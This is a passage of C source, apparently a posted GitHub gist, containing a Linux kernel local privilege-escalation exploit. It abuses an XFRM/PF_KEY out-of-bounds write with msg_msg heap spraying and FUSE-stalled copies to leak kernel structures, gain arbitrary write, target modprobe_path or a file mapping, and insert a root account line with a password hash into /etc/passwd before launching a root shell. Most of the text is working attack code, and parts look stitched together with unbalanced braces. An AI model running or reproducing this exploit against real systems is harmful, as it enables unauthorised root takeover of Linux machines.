for (int idx = 0; idx < 3; idx++) {
if (maxval < page_address_counts[idx]) {
leaked_page_address = page_address[idx];
maxval = page_address_counts[idx];
}
}
// extract prev/next pointers and find 2 representative vm_area_structs for the 2 mmaped files
num_found = 0;
void* struct_file_addresses[2] = {NULL,NULL};
void* struct_file_addresses_counts[2] = {0,0};
uint64_t vm_next_pointer[STRUCTS_PER_PAGE];
uint64_t vm_prev_pointer[STRUCTS_PER_PAGE];
uint64_t offset_from_first_struct[STRUCTS_PER_PAGE];
memset(&vm_next_pointer,0,STRUCTS_PER_PAGE*sizeof(uint64_t));
memset(&vm_prev_pointer,0,STRUCTS_PER_PAGE*sizeof(uint64_t));
memset(&offset_from_first_struct,0,STRUCTS_PER_PAGE*sizeof(uint64_t));
uint64_t offset_of_first_struct_from_buffer = -1;
for (int page = 0; page < 8; page++) {
for (int j=0; j<0x1000; j++) {
struct vm_area_struct *vm = (struct vm_area_struct*)(leak_buf+j+(page*0x1000));
if (vm->vm_start > 0 && vm->vm_end > 0 && vm->vm_end - vm->vm_start == 0x1000 && vm->vm_file != 0) {
uint64_t vm_next = (uint64_t)(vm->vm_next) & 0xFFFFFFFFFFFFF000ul;
uint64_t vm_prev = (uint64_t)(vm->vm_prev) & 0xFFFFFFFFFFFFF000ul;
if ( (vm_next != (uint64_t)leaked_page_address) && (vm_prev != (uint64_t)leaked_page_address) )
continue;
if (num_found == 0) {offset_of_first_struct_from_buffer = ((page*0x1000)+j); }
else {offset_from_first_struct[num_found] = ((page*0x1000)+j)-offset_of_first_struct_from_buffer;}
// printf("\t\tnum_found = %d\n\t\tprev page = %p (in page = %d)\n\t\tnext page = %p(in page = %d)\n---------\n",
// num_found, vm_prev, vm_prev != (uint64_t)leaked_page_address , vm_next, vm_next != (uint64_t)leaked_page_address);
vm_next_pointer[num_found] = (uint64_t)vm->vm_next;
vm_prev_pointer[num_found] = (uint64_t)vm->vm_prev;
if (struct_file_addresses[0] == NULL || struct_file_addresses[0] == vm->vm_file) {
struct_file_addresses[0] = vm->vm_file;
dummy_vm_idx = num_found;
struct_file_addresses_counts[0]++;
} else {
if (struct_file_addresses[1] == NULL || struct_file_addresses[1] == vm->vm_file) {
struct_file_addresses[1] = vm->vm_file;
passwd_vm_idx = num_found;
struct_file_addresses_counts[1]++;
}
}
num_found++;
if (num_found == STRUCTS_PER_PAGE) break;
}
}
if (num_found == STRUCTS_PER_PAGE) break;
}
if (struct_file_addresses_counts[0] < struct_file_addresses_counts[1]) {
int tmp_idx = passwd_vm_idx;
passwd_vm_idx = dummy_vm_idx;
dummy_vm_idx = tmp_idx;
tmp_idx = struct_file_addresses_counts[0];
struct_file_addresses_counts[0] = struct_file_addresses_counts[1];
struct_file_addresses_counts[1] = tmp_idx;
void* tmp = struct_file_addresses[0];
struct_file_addresses[0] = struct_file_addresses[1];
struct_file_addresses[1] = tmp;
}
printf("Found %d vm_area_struct structures in leaked page %llx!\n", num_found, (uint64_t)leaked_page_address);
// get the address of the first vm_area_struct and calculate the address of the rest from the first
uint64_t minaddr = vm_prev_pointer[3];
for (int k = 0; k < STRUCTS_PER_PAGE; k++) {
if ( ((vm_prev_pointer[k] & 0xFFFFFFFFFFFFF000ul) == (uint64_t)leaked_page_address) && minaddr >= vm_prev_pointer[k]){
//printf("[.] Swapped %p for %p\n", minaddr,vm_prev_pointer[k]);
minaddr = vm_prev_pointer[k];
}
}
for (int k = 0; k < STRUCTS_PER_PAGE; k++) {
if ( ((vm_next_pointer[k] & 0xFFFFFFFFFFFFF000ul) == (uint64_t)leaked_page_address) && minaddr >= vm_next_pointer[k]){
minaddr = vm_next_pointer[k];
//printf("[.] Swapped %p for %p\n", minaddr,vm_next_pointer[k]);
}
}
void* passwd_file_pointer = minaddr + offset_from_first_struct[passwd_vm_idx]+STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT;
void* dummy_file_pointer = minaddr + offset_from_first_struct[dummy_vm_idx]+STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT;
struct vm_area_struct *dmy_vm = leak_buf+offset_of_first_struct_from_buffer+offset_from_first_struct[dummy_vm_idx];
struct vm_area_struct *pwd_vm = leak_buf+offset_of_first_struct_from_buffer+offset_from_first_struct[passwd_vm_idx];
printf("----------------------------\n -- minaddr = %p\n -- dmy_vm = %p\n"
" -- pwd_vm = %p\n -- dmy_idx = %d\n -- pwd_idx = %d"
"\n--------------------------\n\n",minaddr,dummy_file_pointer-STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT,
passwd_file_pointer-STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT,dummy_vm_idx,passwd_vm_idx);
printf("\n============ PASSWD VM (%p) ============\n"
"\tvm_start=%llx\n"
"\tvm_end=%llx,\n"
"\tvm_page_prot=%llx\n"
"\tvm_file=%llx\n"
"\tvm_next=%llx\n"
"\tvm_prev=%llx\n"
"\tpasswd_vm_idx = %d\n"
"==============================\n",
passwd_file_pointer-STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT,
pwd_vm->vm_start,pwd_vm->vm_end,pwd_vm->vm_page_prot,
pwd_vm->vm_file,pwd_vm->vm_next,pwd_vm->vm_prev,passwd_vm_idx);
printf("\n============ DUMMY VM (%p) ============\n"
"\tvm_start=%llx\n"
"\tvm_end=%llx,\n"
"\tvm_page_prot=%llx\n"
"\tvm_file=%llx\n"
"\tvm_next=%llx\n"
"\tvm_prev=%llx\n"
"\tpasswd_vm_idx = %d\n"
"==============================\n",
dummy_file_pointer-STRUCT_FILE_OFFSET_FROM_VMAREASTRUCT,
dmy_vm->vm_start,dmy_vm->vm_end,dmy_vm->vm_page_prot,
dmy_vm->vm_file,dmy_vm->vm_next,dmy_vm->vm_prev,dummy_vm_idx);
printf("Press a button to continue...");
getc(stdin);
// stage 2: leak kernel address.
// Now we have a correct msg->next pointer, we can freely overwrite struct msg->m_ts
// as well as the msg->next.
if (fork() != 0) {
int status;
wait(&status);
exit(0);
}
void * passwd_file_struct = NULL, *dummy_file_struct = NULL;
uint64_t passwd_mapping = 0, dummy_mapping = 0;
for (int idx = 0; idx < 3000; idx++)
munmap(mapped[idx],0x1000);
int fill = pagealloc_pad(0x1000, 0x1000);
int fill2 = pagealloc_pad(0x1000, 0x2000);
int fill3 = pagealloc_pad(0x1000, 0x4000);
int fill_fd[5][50];
for (int i=0; i<50; i++) {
fill_fd[0][i] = pagealloc_pad(1, 0x4000);
fill_fd[1][i] = pagealloc_pad(1, 0x4000);
}
for (int i=0; i<50; i++)
close(fill_fd[0][i]);
for (int i=0; i<50; i++) {
pagealloc_pad(0x100, 0x8000);
sleep(1);
#ifdef DEBUG
debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG);
ioctl(-1, 0x37778, &debug);
#endif
int fd_msg[N_LOOP];
int msqid_all[4096];
printf("[+] spraying msg for OOB write\n");
for (int i=0; i<8; i++) {
fd_vul[i] = pagealloc_pad(1, 0x8000);
fd_msg[i] = pagealloc_pad(1, 0x8000);
}
for (int k=0; k<N_LOOP; k++) {
close(fd_msg[k]);
msg_spray(SLAB_4k_OBJS_PER_SLAB+1 , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1);
memcpy(&msqid_all[k*SLAB_4k_OBJS_PER_SLAB * 2], msqid, SLAB_4k_OBJS_PER_SLAB * 2 * sizeof(int));
}
printf("[+] free slots for vulnerable objects\n");
for (int i=0; i<N_LOOP; i++) {
close(fd_vul[i]);
}
void * pointer_to_rw = struct_file_addresses[1]-8;// passwd_file_pointer;
int read_dummy = 0;
int read_passwd = 0;
if (passwd_file_struct == NULL) {
passwd_file_struct = malloc(256);
read_passwd = 1;
} else {
if (dummy_file_struct == NULL) {
read_dummy = 1;
dummy_file_struct = malloc(256);
}
pointer_to_rw = struct_file_addresses[0]-8;//dummy_file_pointer;
}
//printf(" -- pointer_to_rw = %p\n",pointer_to_rw);
struct fake_msg_msg *fake_msg = (struct fake_msg_msg *)malloc(sizeof(struct fake_msg_msg));
memset(fake_msg, 0, sizeof(*fake_msg));
fake_msg->m_list.next = msglist_next;
fake_msg->m_list.prev = msglist_prev;
fake_msg->m_type = 1;
fake_msg->m_ts = 0x1fc8;
fake_msg->next = pointer_to_rw;
oob_write(fake_msg, sizeof(*fake_msg), OOB_PAGE, -1, -1);
free(fake_msg);
if (!(read_passwd == 0 && read_dummy == 0))
leak_buf = malloc(0x2000);
int parsed = 0;
for (int i=0; i<SLAB_4k_OBJS_PER_SLAB * 2 * N_LOOP && parsed == 0; i++) {
int j;
memset(leak_buf, 0x27, 0x2000);
recvmymsg(msqid_all[i], 0x2000, leak_buf, 0, 0);
for (j=0; j<0x2000-sizeof(struct file) && parsed == 0; j++) {
if (read_passwd) {
mempcpy(passwd_file_struct,leak_buf+j,sizeof(struct file));
struct file * f = (struct file *)passwd_file_struct;
if ((uint64_t)f->f_op > 0ul && (uint64_t)f->f_cred > 0ul && f->f_flags > 0
&& (uint64_t)f->f_mapping > 0ul && (uint64_t)f->f_inode > 0ul
&& ((uint64_t)f->f_mapping&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& ((uint64_t)f->f_inode&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& ((uint64_t)f->f_op&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& ((uint64_t)f->f_cred&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& f->f_count > 0
&& ((uint64_t)f->private_data) == 0
&& ((uint64_t)f->f_path[0]&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& ((uint64_t)f->f_path[1]&0xFFFF000000000000ul) == 0xFFFF000000000000ul) {
printf("Dumping passwd\'s struct file:\n");
HexDump(passwd_file_struct,sizeof(struct file));
printf( "\n---------- PASSWD FILE (%p) ----------\n"
"\tcred = %p\n\tflags = %x\n\tmapping = %p"
"\n\tmode = %p\n\tops = %p\n\tcount = %d\n\tinode = %p"
"\n------------------------------\n",
pointer_to_rw+8,
f->f_cred,f->f_flags,f->f_mapping,f->f_mode,f->f_op,f->f_count,f->f_inode);
passwd_mapping = (uint64_t) f->f_mapping;
parsed = 1;
break;
}
}
else if (read_dummy) {
mempcpy(dummy_file_struct,leak_buf+j,sizeof(struct file));
struct file * f = (struct file *)dummy_file_struct;
if ((uint64_t)f->f_op > 0ul && (uint64_t)f->f_cred > 0ul && f->f_flags > 0
&& (uint64_t)f->f_mapping > 0ul && (uint64_t)f->f_inode > 0ul
&& ((uint64_t)f->f_mapping&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& ((uint64_t)f->f_inode&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& ((uint64_t)f->f_op&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& ((uint64_t)f->f_cred&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& f->f_count > 0
&& ((uint64_t)f->private_data) == 0
&& ((uint64_t)f->f_path[0]&0xFFFF000000000000ul) == 0xFFFF000000000000ul
&& ((uint64_t)f->f_path[1]&0xFFFF000000000000ul) == 0xFFFF000000000000ul) {
printf("Dumping dummy file\'s struct file:\n");
HexDump(dummy_file_struct,sizeof(struct file));
printf( "\n---------- DUMMY FILE (%p) ----------\n"
"\tcred = %p\n\tflags = %x\n\tmapping = %p\n"
"\tmode = %p\n\tops = %p\n\tcount = %d\n\tinode = %p\n"
"------------------------------\n",
pointer_to_rw+8,
f->f_cred,f->f_flags,f->f_mapping,f->f_mode,f->f_op,f->f_count,f->f_inode);
dummy_mapping = (uint64_t) f->f_mapping;
printf("[?] arbitrary write to f_mapping field happening...\n");
addr_modprobe_path = (uint64_t) pointer_to_rw+8+216;
evil_str = malloc(20*sizeof(char));
memset(evil_str,0,20);
memcpy(evil_str,&passwd_mapping,sizeof(uint64_t));
overwrite_modprobe(fd_poc);
//overwrite_file_mapping_pointer( ((uint64_t)pointer_to_rw+8+216), passwd_mapping, fd_poc); // 216 is offset of f_mapping from struct head.
parsed = 1;
}
}
}
}
}
return false;
}
void fuse_sendmsg(struct spary_msg_arg *arg)
{
int i;
int qbytes = MAX_QBYTES_IN_QUEUE;
int _msqid;
void *target = arg->dst;
int size = arg->size;
if ((_msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
return false;
}
#ifdef KERNEL_DEBUG
int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG | PRINT_MSG_DETAIL);
ioctl(-1, 0x37778, &debug);
#endif
pthread_mutex_lock(&spray_lock->mutex);
spray_lock->done++;
pthread_mutex_unlock(&spray_lock->mutex);
struct msgbuf_key *msg_key = target;
//printf("fuse_sendmsg %d start\n", _msqid);
msg_key->mtype = 1;
int ret = msgsnd(_msqid, msg_key, PAGE_SIZE-SIZE_OF_MSG_MSG+size, 0);
//printf("fuse_sendmsg %d done\n", _msqid);
if (ret == -1) {
perror("msgsnd error\n");
exit(1);
}
}
int fuse_msg_spray(int num_msg, int size, void *dst) {
int i;
initialise_shared(&spray_lock);
pthread_mutex_lock(&spray_lock->mutex);
for (i = 0; i<num_msg; i++) {
struct spary_msg_arg *arg = malloc(sizeof(struct spary_msg_arg));
arg->size = size;
arg->dst = dst;
hang_threads->done++;
pthread_t *thr = malloc(sizeof(pthread_t));
pthread_create(thr, NULL, &fuse_sendmsg, arg);
}
return i;
}
bool arb_write(void *target_addr, int size, void *fuse_adr)
{
int fd_vul;
int fd_msg;
printf("[+] spraying msg for arbitrary write\n");
initialise_shared(&two_loop);
for (int i=0; i<=N_PROCS; i++)
pthread_mutex_trylock(&two_loop->proc_mutex[i]);
int id = N_PROCS;
for (int i=0; i<N_PROCS; i++) {
if (fork()==0) {
id = i;
pthread_mutex_lock(&two_loop->proc_mutex[id]);
break;
}
if (i==N_PROCS-1) {
// hang main proc
pthread_mutex_unlock(&two_loop->proc_mutex[0]);
pthread_mutex_lock(&two_loop->proc_mutex[N_PROCS]);
}
}
pagealloc_pad(0x100, 0x8000);
#ifdef KERNEL_DEBUG
int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_MSG_DETAIL);
ioctl(-1, 0x37778, &debug);
printf("id %d started\n", id);
#endif
fd_vul = pagealloc_pad(1, 0x8000);
fd_msg = pagealloc_pad(1, 0x8000);
msg_spray(SLAB_4k_OBJS_PER_SLAB * (SLAB_4k_CPU_PARTIAL) , PAGE_SIZE+32-SIZE_OF_MSG_MSGSEG, 1);
fuse_msg_spray(SLAB_4k_OBJS_PER_SLAB + 1, size, fuse_adr);
close(fd_msg);
release_spray_4k_lock(SLAB_4k_OBJS_PER_SLAB + 1);
usleep(10000);
if (id != N_PROCS)
{
pthread_mutex_unlock(&two_loop->proc_mutex[id+1]);
pthread_mutex_lock(&two_loop->proc_mutex[id]);
} else {
for (int i=0; i<N_PROCS; i++)
pthread_mutex_unlock(&two_loop->proc_mutex[i]);
}
close(fd_vul);
if (id != N_PROCS)
{
pthread_mutex_lock(&two_loop->proc_mutex[id]);
}
struct fake_msg_msg *fake_msg = (struct fake_msg_msg *)malloc(sizeof(struct fake_msg_msg));
memset(fake_msg, 0, sizeof(*fake_msg));
fake_msg->m_list.next = msglist_next;
fake_msg->m_list.prev = msglist_prev;
fake_msg->m_type = 1;
fake_msg->m_ts = PAGE_SIZE-SIZE_OF_MSG_MSG+size;
fake_msg->next = target_addr;
oob_write(fake_msg, sizeof(*fake_msg), OOB_PAGE, -1, -1);
free(fake_msg);
//write(fuse_pipes[1], "A", 1);
}
void modprobe_trigger()
{
execve(PROC_MODPROBE_TRIGGER, NULL, NULL);
}
int am_i_root()
{
struct stat buffer;
int exist = stat("/tmp/exploited", &buffer);
if(exist == 0)
return 1;
else
return 0;
}
void modprobe_init()
{
int fd = open(PROC_MODPROBE_TRIGGER, O_RDWR | O_CREAT);
if (fd < 0)
{
perror("trigger creation failed");
exit(-1);
}
char root[] = "\xff\xff\xff\xff";
write(fd, root, sizeof(root));
close(fd);
chmod(PROC_MODPROBE_TRIGGER, 0777);
}
void overwrite_modprobe(int fd_to_rw_from)
{
void *modprobe_path = addr_modprobe_path;
printf("[+] f_mapping address to overwrite: 0x%llx\n", modprobe_path);
void *fuse_evil_addr;
for (int i=0; i<50; i++) {
if (fork() != 0)
break;
void *evil_page = mmap(0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
init_fuse_mem("evil2/evil", &fuse_evil_addr, evil_page+0x1000, 0x1000);
if (fuse_evil_addr != (evil_page+0x1000))
{
perror("mmap fail fuse 1");
exit(-1);
}
void *evil_page2 = mmap(fuse_evil_addr+0x1000, 0x10000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
struct msgbuf_key *evil_msg = fuse_evil_addr-0x8;
arb_write(modprobe_path-8, strlen(evil_str), evil_msg);
write(fuse_pipes[1], "A", 1);
printf("Press a button to continue...");
getc(stdin);
sleep(1);
char * tmp = malloc(7);
fsync(fd_to_rw_from);
read(fd_to_rw_from,tmp,6);
tmp[6] = '\0';
printf("Read from file: %s\n",tmp);
if (tmp[0] == 'r' && tmp[1] == 'o' && tmp[4] == ':') {
pthread_mutex_unlock(&shell_lock->mutex);
printf("SUCCESS!!!!\n");
fseek(fd_to_rw_from, 1, SEEK_SET);
char* towrite = "albocoder:$1$KCPMXNrz$RkFUDj69PHe.T4cGUqzv91:0:0:root:/root:/bin/bash\n\x00";
int ret = write(fd_to_rw_from,towrite,71);
if (ret > 0){
printf("[+] Wrote the new account in! Go ahead and su away!\n");
}
pause();
}
free(tmp);
//fseek(fd_to_rw_from, 1, SEEK_SET);
printf("[+] FAILED!!! Not root, try again\n");
}
pause();
}
void loop(void)
{
struct msghdr msg;
struct iovec iov;
struct sadb_msg *nlh;
struct sadb_ext *ehdr;
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
nlh = malloc(1024);
memset(&iov, 0, sizeof(iov));
memset(&msg, 0, sizeof(msg));
memset(nlh, 0, 1024);
intptr_t res = 0;
res = syscall(__NR_socket, AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
res = syscall(__NR_socket, PF_KEY, SOCK_RAW, PF_KEY_V2);
if (res != -1)
r[0] = res;
nlh->sadb_msg_version = 0x2;
nlh->sadb_msg_type = SADB_ADD;
nlh->sadb_msg_errno = 0x0;
nlh->sadb_msg_satype = SADB_SATYPE_ESP;
nlh->sadb_msg_len = 0xf;
nlh->sadb_msg_reserved = 0;
nlh->sadb_msg_seq = 0;
nlh->sadb_msg_pid = 0;
ehdr = (char *)nlh + sizeof(struct sadb_msg);
ehdr->sadb_ext_len = 0x1;
ehdr->sadb_ext_type = SADB_EXT_KEY_ENCRYPT;
struct sadb_address *sa_addr = (struct sadb_ext *)((char *)ehdr + ehdr->sadb_ext_len * sizeof(uint64_t));
sa_addr->sadb_address_len = 0x5;
sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_DST;
sa_addr->sadb_address_proto = 0x0;
sa_addr->sadb_address_prefixlen = 0x0;
sa_addr->sadb_address_reserved = 0x0;
struct sockaddr_in6 *addr = (char *)sa_addr + sizeof(struct sadb_address);
addr->sin6_family = AF_INET6;
addr->sin6_port = htons(0);
addr->sin6_addr = in6addr_loopback;
struct sadb_sa *sa = (struct sadb_sa *)((char *)sa_addr + sa_addr->sadb_address_len * sizeof(uint64_t));
sa->sadb_sa_len = 0x2;
sa->sadb_sa_exttype = SADB_EXT_SA;
sa->sadb_sa_spi = 0x0;
sa->sadb_sa_replay = 0x0;
sa->sadb_sa_state = 0x0;
sa->sadb_sa_auth = 0x0;
sa->sadb_sa_encrypt = 0xb;
sa->sadb_sa_flags = 0x0;
sa_addr = (struct sadb_address *)((char *)sa + sa->sadb_sa_len * sizeof(uint64_t));
sa_addr->sadb_address_len = 0x5;
sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_SRC;
sa_addr->sadb_address_proto = 0x0;
sa_addr->sadb_address_prefixlen = 0x0;
sa_addr->sadb_address_reserved = 0x0;
addr = (char *)sa_addr + sizeof(struct sadb_address);
addr->sin6_family = AF_INET6;
addr->sin6_port = htons(0);
addr->sin6_addr = in6addr_loopback;
iov.iov_base = nlh;
iov.iov_len = 0x78;
msg.msg_name = 3;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = 7;
msg.msg_controllen = 0;
msg.msg_flags = 0;
res = syscall(__NR_sendmsg, r[0], &msg, 0ul);
res = syscall(__NR_socket, AF_INET6, SOCK_RAW, IPPROTO_TCP);
if (res != -1)
r[1] = res;
addr = (struct sockaddr_in6 *)0x200000c0;
addr->sin6_family = AF_INET6;
addr->sin6_port = htons(0);
addr->sin6_addr = in6addr_loopback;
res = syscall(__NR_connect, r[1], (struct sockaddr *)addr, sizeof(*addr));
struct xfrm_userpolicy_info *xpinfo = (void*)0x20000100;
xpinfo->sel.daddr.a4 = htobe32(0);
xpinfo->sel.saddr.a4 = htobe32(0xac1e0001);
xpinfo->sel.dport = htobe16(0);
xpinfo->sel.dport_mask = htobe16(0);
xpinfo->sel.sport = htobe16(0);
xpinfo->sel.sport_mask = htobe16(0);
xpinfo->sel.family = AF_INET6;
xpinfo->sel.prefixlen_d = 0;
xpinfo->sel.prefixlen_s = 0;
xpinfo->sel.proto = IPPROTO_IP;
xpinfo->sel.ifindex = 0;
xpinfo->sel.user = -1;
xpinfo->lft.soft_byte_limit = 0;
xpinfo->lft.hard_byte_limit = 0;
xpinfo->lft.soft_packet_limit = 0;
xpinfo->lft.hard_packet_limit = 0;
xpinfo->lft.soft_add_expires_seconds = 0;
xpinfo->lft.hard_add_expires_seconds = 0;
xpinfo->lft.soft_use_expires_seconds = 0;
xpinfo->lft.hard_use_expires_seconds = 0;
xpinfo->curlft.bytes = 0;
xpinfo->curlft.packets = 0;
xpinfo->curlft.add_time = 0;
xpinfo->curlft.use_time = 0;
xpinfo->priority = 0;
xpinfo->index = 0;
xpinfo->dir = XFRM_POLICY_OUT;
xpinfo->action = XFRM_POLICY_ALLOW;
xpinfo->flags = 0;
xpinfo->share = XFRM_SHARE_ANY;
struct xfrm_user_tmpl *ut = (struct xfrm_user_tmpl *) (xpinfo + 1);
NONFAILING(*(uint8_t*)0x200001a8 = -1);
NONFAILING(*(uint8_t*)0x200001a9 = 1);
NONFAILING(memset((void*)0x200001aa, 0, 13));
NONFAILING(*(uint8_t*)0x200001b7 = 1);
ut->id.spi = htobe32(0);
ut->id.proto = IPPROTO_ESP;
ut->family = PF_UNSPEC;
ut->saddr.a4 = 0xfc;
ut->reqid = 0;
ut->mode = XFRM_MODE_TRANSPORT;
ut->share = XFRM_SHARE_ANY;
ut->optional = 0;
ut->aalgos = 0;
ut->ealgos = 0;
ut->calgos = 0;
res = syscall(__NR_setsockopt, r[1], SOL_IPV6, IPV6_XFRM_POLICY, xpinfo, sizeof(*xpinfo) + sizeof(*ut));
int tty_fd[1024];
int n_msg;
int msqid_bk[1024];
// Consume up kmalloc-4k slab
msg_spray(SLAB_4k_OBJS_PER_SLAB * (1+SLAB_4k_CPU_PARTIAL), MSG_LEN, 1);
msg_spray(SLAB_4k_OBJS_PER_SLAB * (1 + SLAB_4k_CPU_PARTIAL) - 5 , SIZE_OF_USER_KEY_PAYLOAD, 1);
// consume lower page order's (<=3) freelist
int fill_large = pagealloc_pad(0x1000, 0x1000);
#ifdef EXPAND_LOWER_ORDER
#define PROC_FORK 10
// Make sure lower page order (<3) allocatioin and free won't affect
// order 3 (merging from order 2 or split order 3 to fulfill order 2)
initialise_shared(&free_mutex);
pthread_mutex_lock(&free_mutex->mutex);
printf("start filling lower order\n");
for (int k=0; k<PROC_FORK; k ++) {
if (fork() == 0) {
int fill_fd[5][200];
for (int i=0; i<5; i++) { // N = 100 * PROC_FORK
// allocate two order 2 blocks which split from order 3
fill_fd[0][i] = pagealloc_pad(1, 0x4000);
fill_fd[1][i] = pagealloc_pad(1, 0x4000);
}
printf("[+] %d waiting for free\n", k);
free_mutex->done++;
pthread_mutex_lock(&free_mutex->mutex);
for (int i=0; i<5; i++) {
// free 1 of 2 order 2 blocks, keep the other in order 2 freelist
close(fill_fd[0][i]);
}
free_mutex->done--;
pthread_mutex_unlock(&free_mutex->mutex);
printf("[+] %d free done -> %d\n", k, free_mutex->done);
pause();
}
}
while (free_mutex->done < PROC_FORK) {
usleep(10000);
}
printf("Released free lock\n");
pthread_mutex_unlock(&free_mutex->mutex);
while (free_mutex->done > 0) {
usleep(10000);
}
printf("fill lower order done\n");
//close(fill_large); // release all page 0 objects
#endif
// initialize fuse
init_fuse_mem("evil1/evil", &fuse_mem_addr, NULL, 0x100000);
initialise_shared(&hang_threads);
pagealloc_pad(0x2000, 0x8000);
#ifdef KERNEL_LEAK
if (!leak_kalsr())
exit(0);
#endif
// #ifdef KERNEL_EXP
// overwrite_modprobe();
// #endif
pause();
}
static const struct fuse_operations evil_ops1 = {
.getattr = evil_getattr,
.readdir = evil_readdir,
.read = evil_read_pause,
};
static const struct fuse_operations evil_ops2 = {
.getattr = evil_getattr,
.readdir = evil_readdir,
.read = evil_read_sleep,
};
void unshare_setup(uid_t uid, gid_t gid)
{
int temp;
char edit[0x100];
unshare(CLONE_NEWNS|CLONE_NEWUSER);
temp = open("/proc/self/setgroups", O_WRONLY);
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);
return;
}
char *fargs_evil1[] = {"poc", "evil1", NULL };
char *fargs_evil2[] = {"poc", "evil2", NULL };
int main(int argc, char *argv[])
{
load_symbols();
initialise_shared(&shell_lock);
pthread_mutex_lock(&shell_lock->mutex);
if (!fork())
{
pthread_mutex_lock(&shell_lock->mutex);
printf("[+] I AM ROOT!\n");
execve("/tmp/myshell", NULL, NULL);
}
fargs_evil1[0] = argv[0];
fargs_evil2[0] = argv[0];
unshare_setup(getuid(), getgid());
modprobe_init();
mkdir(FUSE_MOUNT1, 0777);
mkdir(FUSE_MOUNT2, 0777);
pipe(fuse_pipes);
evil_buffer = malloc(0x10000);
if (!fork())
{
fuse_main(sizeof(fargs_evil1)/sizeof(char *) -1 , fargs_evil1, &evil_ops1, NULL);
}
sleep(1);
if (!fork())
{
fuse_main(sizeof(fargs_evil2)/sizeof(char *) -1 , fargs_evil2, &evil_ops2, NULL);
}
sleep(1);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
do_sandbox_namespace();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment